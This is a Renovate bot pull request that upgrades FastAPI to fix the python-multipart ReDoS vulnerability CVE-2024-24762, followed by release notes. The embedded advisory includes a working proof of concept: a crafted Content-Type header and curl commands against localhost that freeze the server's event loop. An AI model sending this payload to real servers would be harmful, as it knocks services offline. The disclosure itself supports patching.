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chore(deps): update dependency fastapi to v0.109.1 [security] #187

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@renovate renovate bot commented Feb 5, 2024 •
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This PR contains the following updates:

Package Change Age Adoption Passing Confidence
fastapi ==0.65.2 -> ==0.109.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-24762

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header

def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]

httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @​nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@​app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@​app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@​app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

Release Notes

tiangolo/fastapi (fastapi)

v0.109.1

Compare Source

Security fixes
  • ⬆️ Upgrade minimum version of python-multipart to >=0.0.7 to fix a vulnerability when using form data with a ReDos attack. You can also simply upgrade python-multipart.

Read more in the advisory: Content-Type Header ReDoS.

Features
Refactors
  • ✅ Refactor tests for duplicate operation ID generation for compatibility with other tools running the FastAPI test suite. PR #​10876 by @​emmettbutler.
  • ♻️ Simplify string format with f-strings in fastapi/utils.py. PR #​10576 by @​eukub.
  • 🔧 Fix Ruff configuration unintentionally enabling and re-disabling mccabe complexity check. PR #​10893 by @​jiridanek.
  • ✅ Re-enable test in tests/test_tutorial/test_header_params/test_tutorial003.py after fix in Starlette. PR #​10904 by @​ooknimm.
Docs
Translations
Internal

v0.109.0

Compare Source

Features
Upgrades
Docs
Translations
Internal

v0.108.0

Compare Source

Upgrades
  • ⬆️ Upgrade Starlette to >=0.29.0,<0.33.0, update docs and usage of templates with new Starlette arguments. PR #​10846 by @​tiangolo.

v0.107.0

Compare Source

Upgrades
Docs

v0.106.0

Compare Source

Breaking Changes

Using resources from dependencies with yield in background tasks is no longer supported.

This change is what supports the new features, read below. 🤓

Dependencies with yield, HTTPException and Background Tasks

Dependencies with yield now can raise HTTPException and other exceptions after yield. 🎉

Read the new docs here: Dependencies with yield and HTTPException.

from fastapi import Depends, FastAPI, HTTPException
from typing_extensions import Annotated

app = FastAPI()

data = {
    "plumbus": {"description": "Freshly pickled plumbus", "owner": "Morty"},
    "portal-gun": {"description": "Gun to create portals", "owner": "Rick"},
}

class OwnerError(Exception):
    pass

def get_username():
    try:
        yield "Rick"
    except OwnerError as e:
        raise HTTPException(status_code=400, detail=f"Onwer error: {e}")

@&#8203;app.get("/items/{item_id}")
def get_item(item_id: str, username: Annotated[str, Depends(get_username)]):
    if item_id not in data:
        raise HTTPException(status_code=404, detail="Item not found")
    item = data[item_id]
    if item["owner"] != username:
        raise OwnerError(username)
    return item

Before FastAPI 0.106.0, raising exceptions after yield was not possible, the exit code in dependencies with yield was executed after the response was sent, so Exception Handlers would have already run.

This was designed this way mainly to allow using the same objects "yielded" by dependencies inside of background tasks, because the exit code would be executed after the background tasks were finished.

Nevertheless, as this would mean waiting for the response to travel through the network while unnecessarily holding a resource in a dependency with yield (for example a database connection), this was changed in FastAPI 0.106.0.

Additionally, a background task is normally an independent set of logic that should be handled separately, with its own resources (e.g. its own database connection).

If you used to rely on this behavior, now you should create the resources for background tasks inside the background task itself, and use internally only data that doesn't depend on the resources of dependencies with yield.

For example, instead of using the same database session, you would create a new database session inside of the background task, and you would obtain the objects from the database using this new session. And then instead of passing the object from the database as a parameter to the background task function, you would pass the ID of that object and then obtain the object again inside the background task function.

The sequence of execution before FastAPI 0.106.0 was like the diagram in the Release Notes for FastAPI 0.106.0.

The new execution flow can be found in the docs: Execution of dependencies with yield.

v0.105.0

Compare Source

Features
  • ✨ Add support for multiple Annotated annotations, e.g. Annotated[str, Field(), Query()]. PR #​10773 by @​tiangolo.
Refactors
Docs
Internal

v0.104.1

Compare Source

Fixes
  • 📌 Pin Swagger UI version to 5.9.0 temporarily to handle a bug crashing it in 5.9.1. PR #​10529 by @​alejandraklachquin.
    • This is not really a bug in FastAPI but in Swagger UI, nevertheless pinning the version will work while a solution is found on the Swagger UI side.
Docs
Internal

v0.104.0

Compare Source

Features

Upgrades

Internal

v0.103.2

Compare Source

Refactors
  • ⬆️ Upgrade compatibility with Pydantic v2.4, new renamed functions and JSON Schema input/output models with default values. PR #​10344 by @​tiangolo.
Translations
  • 🌐 Add Ukrainian translation for `docs/uk/docs/tutorial/extra-dat

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate. View repository job log here.

@renovate renovate bot changed the title chore(deps): update dependency fastapi to v0.109.1 [security] chore(deps): update dependency fastapi to v0.109.1 [security] - autoclosed Feb 17, 2024
@renovate renovate bot closed this Feb 17, 2024
@renovate renovate bot deleted the renovate/pypi-fastapi-vulnerability branch February 17, 2024 00:08
@renovate renovate bot changed the title chore(deps): update dependency fastapi to v0.109.1 [security] - autoclosed chore(deps): update dependency fastapi to v0.109.1 [security] Feb 17, 2024
@renovate renovate bot reopened this Feb 17, 2024
@renovate renovate bot restored the renovate/pypi-fastapi-vulnerability branch February 17, 2024 04:26
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from a3870ea to ed2197c Compare February 17, 2024 04:26
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